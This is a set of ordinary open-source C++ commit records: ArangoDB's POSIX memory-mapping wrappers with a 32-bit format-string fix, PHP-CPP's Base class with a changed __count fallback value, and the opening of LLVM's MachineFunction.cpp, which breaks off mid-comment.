file\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nint TRI_MMFile (void* memoryAddress,\n                size_t numOfBytesToInitialize,\n                int memoryProtection,\n                int flags,\n                int fileDescriptor,\n                void** mmHandle,\n                int64_t offset,\n                void** result) {\n\n  TRI_ASSERT(memoryAddress == nullptr);\n  off_t offsetRetyped = (off_t) offset;\n  TRI_ASSERT(offsetRetyped == 0);\n\n  *mmHandle = nullptr; \/\/ only useful for Windows\n\n  *result = mmap(memoryAddress, numOfBytesToInitialize, memoryProtection, flags, fileDescriptor, offsetRetyped);\n\n  if (*result != MAP_FAILED) {\n    return TRI_ERROR_NO_ERROR;\n  }\n\n  if (errno == ENOMEM) {\n    return TRI_ERROR_OUT_OF_MEMORY_MMAP;\n  }\n\n  return TRI_ERROR_SYS_ERROR;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ @brief unmap a memory-mapped file\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nint TRI_UNMMFile (void* memoryAddress,\n                  size_t numOfBytesToUnMap,\n                  int fileDescriptor,\n                  void** mmHandle) {\n  TRI_ASSERT(*mmHandle == nullptr); \/\/ only useful for Windows\n\n  int res = munmap(memoryAddress, numOfBytesToUnMap);\n\n  if (res == 0) {\n    return TRI_ERROR_NO_ERROR;\n  }\n\n  if (errno == ENOSPC) {\n    return TRI_ERROR_ARANGO_FILESYSTEM_FULL;\n  }\n  if (errno == ENOMEM) {\n    return TRI_ERROR_OUT_OF_MEMORY_MMAP;\n  }\n\n  return TRI_ERROR_SYS_ERROR;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ @brief protect a region in a memory-mapped file\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nint TRI_ProtectMMFile (void* memoryAddress,\n                       size_t numOfBytesToProtect,\n                       int flags,\n                       int fileDescriptor,\n                       void** mmHandle) {\n  TRI_ASSERT(*mmHandle == nullptr); \/\/ only useful for Windows\n\n  int res = mprotect(memoryAddress, numOfBytesToProtect, flags);\n\n  if (res == 0) {\n    return TRI_ERROR_NO_ERROR;\n  }\n\n  return TRI_ERROR_SYS_ERROR;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ @brief gives hints about upcoming sequential memory usage\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nint TRI_MMFileAdvise (void* memoryAddress, size_t numOfBytes, int advice) {\n#ifdef __linux__\n  LOG_DEBUG(\"Doing madvise %d for %lu length %lu\", advice,\n            (uint64_t) memoryAddress, numOfBytes);\n  int res = madvise(memoryAddress, numOfBytes, advice);\n\n  if (res == 0) {\n    return TRI_ERROR_NO_ERROR;\n  }\n  else {\n    char buffer[256];\n    char* p = strerror_r(errno, buffer, 256);\n    LOG_INFO(\"madvise %d for %lu length %lu failed with: %s \",\n             advice, (uint64_t) memoryAddress, numOfBytes, p);\n    return TRI_ERROR_INTERNAL;\n  }\n#else\n  return TRI_ERROR_NO_ERROR;\n#endif\n}\n\n#endif\n\n\/\/ -----------------------------------------------------------------------------\n\/\/ --SECTION--                                                       END-OF-FILE\n\/\/ -----------------------------------------------------------------------------\n\n\/\/ Local Variables:\n\/\/ mode: outline-minor\n\/\/ outline-regexp: \"\/\/\/ @brief\\\\|\/\/\/ {@inheritDoc}\\\\|\/\/\/ @page\\\\|\/\/ --SECTION--\\\\|\/\/\/ @\\\\}\"\n\/\/ End:\n<commit_msg>fix compiler warnings on 32bit<commit_after>\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ @brief memory mapped files in posix\n\/\/\/\n\/\/\/ @file\n\/\/\/\n\/\/\/ DISCLAIMER\n\/\/\/\n\/\/\/ Copyright 2014 ArangoDB GmbH, Cologne, Germany\n\/\/\/ Copyright 2004-2014 triAGENS GmbH, Cologne, Germany\n\/\/\/\n\/\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/\/ you may not use this file except in compliance with the License.\n\/\/\/ You may obtain a copy of the License at\n\/\/\/\n\/\/\/     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\/\n\/\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/\/ See the License for the specific language governing permissions and\n\/\/\/ limitations under the License.\n\/\/\/\n\/\/\/ Copyright holder is ArangoDB GmbH, Cologne, Germany\n\/\/\/\n\/\/\/ @author Dr. Oreste Costa-Panaia\n\/\/\/ @author Copyright 2014, ArangoDB GmbH, Cologne, Germany\n\/\/\/ @author Copyright 2012-2013, triAGENS GmbH, Cologne, Germany\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#include \"memory-map.h\"\n\n#ifdef TRI_HAVE_POSIX_MMAP\n\n#include \"Basics\/logging.h\"\n#include \"Basics\/tri-strings.h\"\n\n#include <sys\/mman.h>\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ @brief flush memory mapped file to disk\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nint TRI_FlushMMFile (int fileDescriptor,\n                     void* startingAddress,\n                     size_t numOfBytesToFlush,\n                     int flags) {\n\n  \/\/ ...........................................................................\n  \/\/ Possible flags to send are (based upon the Ubuntu Linux ASM include files:\n  \/\/ #define MS_ASYNC        1             \/* sync memory asynchronously *\/\n  \/\/ #define MS_INVALIDATE   2               \/* invalidate the caches *\/\n  \/\/ #define MS_SYNC         4               \/* synchronous memory sync *\/\n  \/\/ Note: under windows all flushes are achieved synchronously\n  \/\/ ...........................................................................\n\n  int res = msync(startingAddress, numOfBytesToFlush, flags);\n\n#ifdef __APPLE__\n  if (res == 0) {\n    res = fcntl(fileDescriptor, F_FULLFSYNC, 0);\n  }\n#endif\n\n  if (res == 0) {\n    \/\/ msync was successful\n    return TRI_ERROR_NO_ERROR;\n  }\n\n  if (errno == ENOMEM) {\n    \/\/ we have synced a region that was not mapped\n\n    \/\/ set a special error. ENOMEM (out of memory) is not appropriate\n    LOG_ERROR(\"msync failed for range %p - %p\", startingAddress, (void*) (((char*) startingAddress) + numOfBytesToFlush));\n\n    return TRI_ERROR_ARANGO_MSYNC_FAILED;\n  }\n\n  return TRI_ERROR_SYS_ERROR;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ @brief memory map a file\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nint TRI_MMFile (void* memoryAddress,\n                size_t numOfBytesToInitialize,\n                int memoryProtection,\n                int flags,\n                int fileDescriptor,\n                void** mmHandle,\n                int64_t offset,\n                void** result) {\n\n  TRI_ASSERT(memoryAddress == nullptr);\n  off_t offsetRetyped = (off_t) offset;\n  TRI_ASSERT(offsetRetyped == 0);\n\n  *mmHandle = nullptr; \/\/ only useful for Windows\n\n  *result = mmap(memoryAddress, numOfBytesToInitialize, memoryProtection, flags, fileDescriptor, offsetRetyped);\n\n  if (*result != MAP_FAILED) {\n    return TRI_ERROR_NO_ERROR;\n  }\n\n  if (errno == ENOMEM) {\n    return TRI_ERROR_OUT_OF_MEMORY_MMAP;\n  }\n\n  return TRI_ERROR_SYS_ERROR;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ @brief unmap a memory-mapped file\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nint TRI_UNMMFile (void* memoryAddress,\n                  size_t numOfBytesToUnMap,\n                  int fileDescriptor,\n                  void** mmHandle) {\n  TRI_ASSERT(*mmHandle == nullptr); \/\/ only useful for Windows\n\n  int res = munmap(memoryAddress, numOfBytesToUnMap);\n\n  if (res == 0) {\n    return TRI_ERROR_NO_ERROR;\n  }\n\n  if (errno == ENOSPC) {\n    return TRI_ERROR_ARANGO_FILESYSTEM_FULL;\n  }\n  if (errno == ENOMEM) {\n    return TRI_ERROR_OUT_OF_MEMORY_MMAP;\n  }\n\n  return TRI_ERROR_SYS_ERROR;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ @brief protect a region in a memory-mapped file\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nint TRI_ProtectMMFile (void* memoryAddress,\n                       size_t numOfBytesToProtect,\n                       int flags,\n                       int fileDescriptor,\n                       void** mmHandle) {\n  TRI_ASSERT(*mmHandle == nullptr); \/\/ only useful for Windows\n\n  int res = mprotect(memoryAddress, numOfBytesToProtect, flags);\n\n  if (res == 0) {\n    return TRI_ERROR_NO_ERROR;\n  }\n\n  return TRI_ERROR_SYS_ERROR;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ @brief gives hints about upcoming sequential memory usage\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nint TRI_MMFileAdvise (void* memoryAddress, size_t numOfBytes, int advice) {\n#ifdef __linux__\n  LOG_DEBUG(\"Doing madvise %d for %llu length %llu\", advice,\n            (unsigned long long) memoryAddress, (unsigned long long) numOfBytes);\n  int res = madvise(memoryAddress, numOfBytes, advice);\n\n  if (res == 0) {\n    return TRI_ERROR_NO_ERROR;\n  }\n  else {\n    char buffer[256];\n    char* p = strerror_r(errno, buffer, 256);\n    LOG_INFO(\"madvise %d for %llu length %llu failed with: %s \",\n             advice, (unsigned long long) memoryAddress, (unsigned long long) numOfBytes, p);\n    return TRI_ERROR_INTERNAL;\n  }\n#else\n  return TRI_ERROR_NO_ERROR;\n#endif\n}\n\n#endif\n\n\/\/ -----------------------------------------------------------------------------\n\/\/ --SECTION--                                                       END-OF-FILE\n\/\/ -----------------------------------------------------------------------------\n\n\/\/ Local Variables:\n\/\/ mode: outline-minor\n\/\/ outline-regexp: \"\/\/\/ @brief\\\\|\/\/\/ {@inheritDoc}\\\\|\/\/\/ @page\\\\|\/\/ --SECTION--\\\\|\/\/\/ @\\\\}\"\n\/\/ End:\n<|endoftext|>"}
{"text":"<commit_before>\/**\n *  Base.cpp\n *\n *  Implementation file for the base of all classes\n *\n *  @copyright 2014 - 2022 Copernica BV\n *\/\n#include \"includes.h\"\n\n\/**\n *  Set up namespace\n *\/\nnamespace Php {\n\n\/**\n *  Overridable method that is called right before an object is destructed\n *\/\nvoid Base::__destruct() const\n{\n    \/\/ destroy the object by default\n    zend_objects_destroy_object(_impl->php());\n}\n\n\/**\n *  Overridable method that is called to check if a property is set\n * \n *  The default implementation does nothing, and the script will fall back\n *  to accessing the regular object properties\n * \n *  @param  key\n *  @return bool\n *\/\nbool Base::__isset(const Php::Value &key) const\n{\n    \/\/ throw an exception that will be caught in the ClassBase class, \n    \/\/ so that the default implementation of the unset function can be called\n    throw NotImplemented();\n}\n\n\/**\n *  Overridable method that is called to set a new property\n * \n *  The default implementation does nothing, and the script will fall back\n *  to accessing the regular object properties\n * \n *  @param  key\n *  @param  value\n *\/\nvoid Base::__set(const Php::Value &key, const Php::Value &value) const\n{\n    \/\/ throw an exception that will be caught in the ClassBase class, \n    \/\/ so that the default implementation of the unset function can be called\n    throw NotImplemented();\n}\n\n\/**\n *  Retrieve a property\n * \n *  The default implementation does nothing, and the script will fall back\n *  to accessing the regular object properties\n * \n *  @param  key\n *  @return value\n *\/\nPhp::Value Base::__get(const Php::Value &key) const\n{\n    \/\/ throw an exception that will be caught in the ClassBase class, \n    \/\/ so that the default implementation of the function can be called\n    throw NotImplemented();\n    \n    \/\/ unreachable code\n    return nullptr;\n}\n\n\/**\n *  Remove a member\n * \n *  The default implementation does nothing, and the script will fall back\n *  to accessing the regular object properties\n * \n *  @param key\n *\/\nvoid Base::__unset(const Php::Value &key) const\n{\n    \/\/ throw an exception that will be caught in the ClassBase class, \n    \/\/ so that the default implementation of the function can be called\n    throw NotImplemented();\n}\n\n\/**\n *  Call a method\n * \n *  This method is called when a method is called from the PHP script that\n *  was not explicitly defined. You can use this to catch variable method\n *  names, or to support all thinkable method names.\n * \n *  @param  method      Name of the method that was called\n *  @param  params      The parameters that were passed to the function\n *  @return Value       The return value\n *\/\nValue Base::__call(const char *method, Parameters &params) const\n{\n    \/\/ throw an exception that will be caught in the ClassBase class, \n    \/\/ so that the default implementation of the function can be called\n    throw NotImplemented();\n    \n    \/\/ unreachable code\n    return nullptr;\n}\n\n\/**\n *  Call the class as if it was a function\n * \n *  This method is called when a an object is used with () operators:\n *  $object(). You can override this method to make objects callable.\n * \n *  @param  params      The parameters that were passed to the function\n *  @return Value       The return value\n *\/\nValue Base::__invoke(Parameters &params) const\n{\n    \/\/ throw an exception that will be caught in the ClassBase class, \n    \/\/ so that the default implementation of the function can be called\n    throw NotImplemented();\n    \n    \/\/ unreachable code\n    return nullptr;\n}\n\n\/**\n *  Cast the object to a string\n * \n *  This method is called when an object is casted to a string, or when\n *  it is used in a string context\n * \n *  @return Value       The object as a string\n *\/\nValue Base::__toString() const\n{\n    \/\/ throw an exception that will be caught in the ClassBase class, \n    \/\/ so that the default implementation of the function can be called\n    throw NotImplemented();\n    \n    \/\/ unreachable code\n    return nullptr;\n}    \n\n\/**\n *  Cast the object to an integer\n * \n *  This method is called when an object is casted to an integer, or when\n *  it is used in an integer context\n * \n *  @return int         Integer value\n *\/\nValue Base::__toInteger() const\n{\n    \/\/ throw an exception that will be caught in the ClassBase class, \n    \/\/ so that the default implementation of the function can be called\n    throw NotImplemented();\n    \n    \/\/ unreachable code\n    return 0;\n}\n\n\/**\n *  Cast the object to a float\n * \n *  This method is called when an object is casted to a float, or when it\n *  is used in a float context\n * \n *  @return double      Floating point value\n *\/\nValue Base::__toFloat() const\n{\n    \/\/ throw an exception that will be caught in the ClassBase class, \n    \/\/ so that the default implementation of the function can be called\n    throw NotImplemented();\n    \n    \/\/ unreachable code\n    return 0.0;\n}\n\n\/**\n *  Cast the object to a boolean\n * \n *  This method is called when an object is casted to a bool, or when it\n *  is used in a boolean context\n * \n *  @return bool\n *\/\nValue Base::__toBool() const\n{\n    \/\/ throw an exception that will be caught in the ClassBase class, \n    \/\/ so that the default implementation of the function can be called\n    throw NotImplemented();\n    \n    \/\/ unreachable code\n    return false;\n}\n\n\/**\n *  Compare the object with a different object\n *  \n *  Check how a different object compares to this object\n * \n *  @param  that        Object to compare with\n *  @return int\n *\/\nint Base::__compare(const Base &that) const\n{\n    \/\/ throw an exception that will be caught in the ClassBase class, \n    \/\/ so that the default implementation of the function can be called\n    throw NotImplemented();\n    \n    \/\/ unreachable code\n    return 1;\n}\n\n\/**\n *  Method that is called when an explicit call to $object->serialize() is made\n *  Note that a call to serialize($object) does not end up in this function, but\n *  is handled by the user-space implementation of Serializable::serialize()).\n *  @return Php::Value\n *\/\nPhp::Value Base::__serialize()\n{\n    \/\/ 'this' refers to a Php::Base class, but we expect that is also implements the Serializable\n    \/\/ interface (otherwise we would never have registered the __serialize function as a callback)\n    auto *serializable = dynamic_cast<Serializable*>(this);\n\n    \/\/ this one should not fail\n    if (serializable == nullptr) return \"\";\n\n    \/\/ pass the call to the interface\n    return serializable->serialize();\n}\n\n\/**\n *  Method that is called when an explicit call to $object->unserialize() is made\n *  Note that a call to unserialize($string) does not end up in this function, but\n *  is handled by the user-space implementation of Serializable::unserialize()).\n *  @param params       The passed parameters\n *\/\nvoid Base::__unserialize(Php::Parameters &params)\n{\n    \/\/ 'this' refers to a Php::Base class, but we expect that is also implements the Serializable\n    \/\/ interface (otherwise we would never have registered the __serialize function as a callback)\n    auto *serializable = dynamic_cast<Serializable*>(this);\n\n    \/\/ this one should not fail\n    if (serializable == nullptr) return;\n\n    \/\/ the passed in parameter\n    Php::Value param = params[0];\n\n    \/\/ make sure the parameter is indeed a string\n    param.setType(Type::String);\n\n    \/\/ pass the call to the interface\n    serializable->unserialize(param.rawValue(), param.size());\n}\n\n\/**\n *  Method that is called when an explicit call to $object->count() is made\n *  Note that a call to unserialize($string) does not end up in this function, but\n *  is handled by the user-space implementation of Serializable::count()).\n *  @param params       The passed parameters\n *\/\nPhp::Value Base::__count(Php::Parameters &params)\n{\n    \/\/ 'this' refers to a Php::Base class, but we expect that is also implements the Countable\n    \/\/ interface (otherwise we would never have registered the __count function as a callback)\n    auto *countable = dynamic_cast<Countable*>(this);\n\n    \/\/ this one should not fail\n    if (countable == nullptr) return -1;\n\n    \/\/ pass the call to the interface\n    return countable->count();\n}\n\n\/**\n *  End namespace\n *\/\n}\n\n<commit_msg>when countable is not implemented, it is probably better to return 0<commit_after>\/**\n *  Base.cpp\n *\n *  Implementation file for the base of all classes\n *\n *  @copyright 2014 - 2022 Copernica BV\n *\/\n#include \"includes.h\"\n\n\/**\n *  Set up namespace\n *\/\nnamespace Php {\n\n\/**\n *  Overridable method that is called right before an object is destructed\n *\/\nvoid Base::__destruct() const\n{\n    \/\/ destroy the object by default\n    zend_objects_destroy_object(_impl->php());\n}\n\n\/**\n *  Overridable method that is called to check if a property is set\n * \n *  The default implementation does nothing, and the script will fall back\n *  to accessing the regular object properties\n * \n *  @param  key\n *  @return bool\n *\/\nbool Base::__isset(const Php::Value &key) const\n{\n    \/\/ throw an exception that will be caught in the ClassBase class, \n    \/\/ so that the default implementation of the unset function can be called\n    throw NotImplemented();\n}\n\n\/**\n *  Overridable method that is called to set a new property\n * \n *  The default implementation does nothing, and the script will fall back\n *  to accessing the regular object properties\n * \n *  @param  key\n *  @param  value\n *\/\nvoid Base::__set(const Php::Value &key, const Php::Value &value) const\n{\n    \/\/ throw an exception that will be caught in the ClassBase class, \n    \/\/ so that the default implementation of the unset function can be called\n    throw NotImplemented();\n}\n\n\/**\n *  Retrieve a property\n * \n *  The default implementation does nothing, and the script will fall back\n *  to accessing the regular object properties\n * \n *  @param  key\n *  @return value\n *\/\nPhp::Value Base::__get(const Php::Value &key) const\n{\n    \/\/ throw an exception that will be caught in the ClassBase class, \n    \/\/ so that the default implementation of the function can be called\n    throw NotImplemented();\n    \n    \/\/ unreachable code\n    return nullptr;\n}\n\n\/**\n *  Remove a member\n * \n *  The default implementation does nothing, and the script will fall back\n *  to accessing the regular object properties\n * \n *  @param key\n *\/\nvoid Base::__unset(const Php::Value &key) const\n{\n    \/\/ throw an exception that will be caught in the ClassBase class, \n    \/\/ so that the default implementation of the function can be called\n    throw NotImplemented();\n}\n\n\/**\n *  Call a method\n * \n *  This method is called when a method is called from the PHP script that\n *  was not explicitly defined. You can use this to catch variable method\n *  names, or to support all thinkable method names.\n * \n *  @param  method      Name of the method that was called\n *  @param  params      The parameters that were passed to the function\n *  @return Value       The return value\n *\/\nValue Base::__call(const char *method, Parameters &params) const\n{\n    \/\/ throw an exception that will be caught in the ClassBase class, \n    \/\/ so that the default implementation of the function can be called\n    throw NotImplemented();\n    \n    \/\/ unreachable code\n    return nullptr;\n}\n\n\/**\n *  Call the class as if it was a function\n * \n *  This method is called when a an object is used with () operators:\n *  $object(). You can override this method to make objects callable.\n * \n *  @param  params      The parameters that were passed to the function\n *  @return Value       The return value\n *\/\nValue Base::__invoke(Parameters &params) const\n{\n    \/\/ throw an exception that will be caught in the ClassBase class, \n    \/\/ so that the default implementation of the function can be called\n    throw NotImplemented();\n    \n    \/\/ unreachable code\n    return nullptr;\n}\n\n\/**\n *  Cast the object to a string\n * \n *  This method is called when an object is casted to a string, or when\n *  it is used in a string context\n * \n *  @return Value       The object as a string\n *\/\nValue Base::__toString() const\n{\n    \/\/ throw an exception that will be caught in the ClassBase class, \n    \/\/ so that the default implementation of the function can be called\n    throw NotImplemented();\n    \n    \/\/ unreachable code\n    return nullptr;\n}    \n\n\/**\n *  Cast the object to an integer\n * \n *  This method is called when an object is casted to an integer, or when\n *  it is used in an integer context\n * \n *  @return int         Integer value\n *\/\nValue Base::__toInteger() const\n{\n    \/\/ throw an exception that will be caught in the ClassBase class, \n    \/\/ so that the default implementation of the function can be called\n    throw NotImplemented();\n    \n    \/\/ unreachable code\n    return 0;\n}\n\n\/**\n *  Cast the object to a float\n * \n *  This method is called when an object is casted to a float, or when it\n *  is used in a float context\n * \n *  @return double      Floating point value\n *\/\nValue Base::__toFloat() const\n{\n    \/\/ throw an exception that will be caught in the ClassBase class, \n    \/\/ so that the default implementation of the function can be called\n    throw NotImplemented();\n    \n    \/\/ unreachable code\n    return 0.0;\n}\n\n\/**\n *  Cast the object to a boolean\n * \n *  This method is called when an object is casted to a bool, or when it\n *  is used in a boolean context\n * \n *  @return bool\n *\/\nValue Base::__toBool() const\n{\n    \/\/ throw an exception that will be caught in the ClassBase class, \n    \/\/ so that the default implementation of the function can be called\n    throw NotImplemented();\n    \n    \/\/ unreachable code\n    return false;\n}\n\n\/**\n *  Compare the object with a different object\n *  \n *  Check how a different object compares to this object\n * \n *  @param  that        Object to compare with\n *  @return int\n *\/\nint Base::__compare(const Base &that) const\n{\n    \/\/ throw an exception that will be caught in the ClassBase class, \n    \/\/ so that the default implementation of the function can be called\n    throw NotImplemented();\n    \n    \/\/ unreachable code\n    return 1;\n}\n\n\/**\n *  Method that is called when an explicit call to $object->serialize() is made\n *  Note that a call to serialize($object) does not end up in this function, but\n *  is handled by the user-space implementation of Serializable::serialize()).\n *  @return Php::Value\n *\/\nPhp::Value Base::__serialize()\n{\n    \/\/ 'this' refers to a Php::Base class, but we expect that is also implements the Serializable\n    \/\/ interface (otherwise we would never have registered the __serialize function as a callback)\n    auto *serializable = dynamic_cast<Serializable*>(this);\n\n    \/\/ this one should not fail\n    if (serializable == nullptr) return \"\";\n\n    \/\/ pass the call to the interface\n    return serializable->serialize();\n}\n\n\/**\n *  Method that is called when an explicit call to $object->unserialize() is made\n *  Note that a call to unserialize($string) does not end up in this function, but\n *  is handled by the user-space implementation of Serializable::unserialize()).\n *  @param params       The passed parameters\n *\/\nvoid Base::__unserialize(Php::Parameters &params)\n{\n    \/\/ 'this' refers to a Php::Base class, but we expect that is also implements the Serializable\n    \/\/ interface (otherwise we would never have registered the __serialize function as a callback)\n    auto *serializable = dynamic_cast<Serializable*>(this);\n\n    \/\/ this one should not fail\n    if (serializable == nullptr) return;\n\n    \/\/ the passed in parameter\n    Php::Value param = params[0];\n\n    \/\/ make sure the parameter is indeed a string\n    param.setType(Type::String);\n\n    \/\/ pass the call to the interface\n    serializable->unserialize(param.rawValue(), param.size());\n}\n\n\/**\n *  Method that is called when an explicit call to $object->count() is made\n *  Note that a call to unserialize($string) does not end up in this function, but\n *  is handled by the user-space implementation of Serializable::count()).\n *  @param params       The passed parameters\n *\/\nPhp::Value Base::__count(Php::Parameters &params)\n{\n    \/\/ 'this' refers to a Php::Base class, but we expect that is also implements the Countable\n    \/\/ interface (otherwise we would never have registered the __count function as a callback)\n    auto *countable = dynamic_cast<Countable*>(this);\n\n    \/\/ this one should not fail\n    if (countable == nullptr) return 0;\n\n    \/\/ pass the call to the interface\n    return countable->count();\n}\n\n\/**\n *  End namespace\n *\/\n}\n\n<|endoftext|>"}
{"text":"<commit_before>\/\/===-- MachineFunction.cpp -----------------------------------------------===\/\/\n\/\/ \n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file was developed by the LLVM research group and is distributed under\n\/\/ the University of Illinois Open Source License. See LICENSE.TXT for details.\n\/\/ \n\/\/===----------------------------------------------------------------------===\/\/\n\/\/ \n\/\/ Collect native machine code information for a function.  This allows\n\/\/ target-specific information about the generated code to be stored with each\n\/\/ function.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"llvm\/CodeGen\/MachineFunctionPass.h\"\n#include \"llvm\/CodeGen\/MachineInstr.h\"\n#include \"llvm\/CodeGen\/SSARegMap.h\"\n#include \"llvm\/CodeGen\/MachineFrameInfo.h\"\n#include \"llvm\/CodeGen\/MachineConstantPool.h\"\n#include \"llvm\/CodeGen\/Passes.h\"\n#include \"llvm\/Target\/TargetMachine.h\"\n#include \"llvm\/Target\/TargetFrameInfo.h\"\n#include \"llvm\/Function.h\"\n#include \"llvm\/Instructions.h\"\n#include \"llvm\/Support\/LeakDetector.h\"\n#include \"llvm\/Support\/GraphWriter.h\"\n#include <fstream>\n#include <iostream>\n#include <sstream>\n\nusing namespace llvm;\n\nstatic AnnotationID MF_AID(\n                 AnnotationManager::getID(\"CodeGen::MachineCodeForFunction\"));\n\n\nnamespace {\n  struct Printer : public MachineFunctionPass {\n    std::ostream *OS;\n    const std::string Banner;\n\n    Printer (std::ostream *_OS, const std::string &_Banner) :\n      OS (_OS), Banner (_Banner) { }\n\n    const char *getPassName() const { return \"MachineFunction Printer\"; }\n\n    virtual void getAnalysisUsage(AnalysisUsage &AU) const {\n      AU.setPreservesAll();\n    }\n\n    bool runOnMachineFunction(MachineFunction &MF) {\n      (*OS) << Banner;\n      MF.print (*OS);\n      return false;\n    }\n  };\n}\n\n\/\/\/ Returns a newly-created MachineFunction Printer pass. The default output\n\/\/\/ stream is 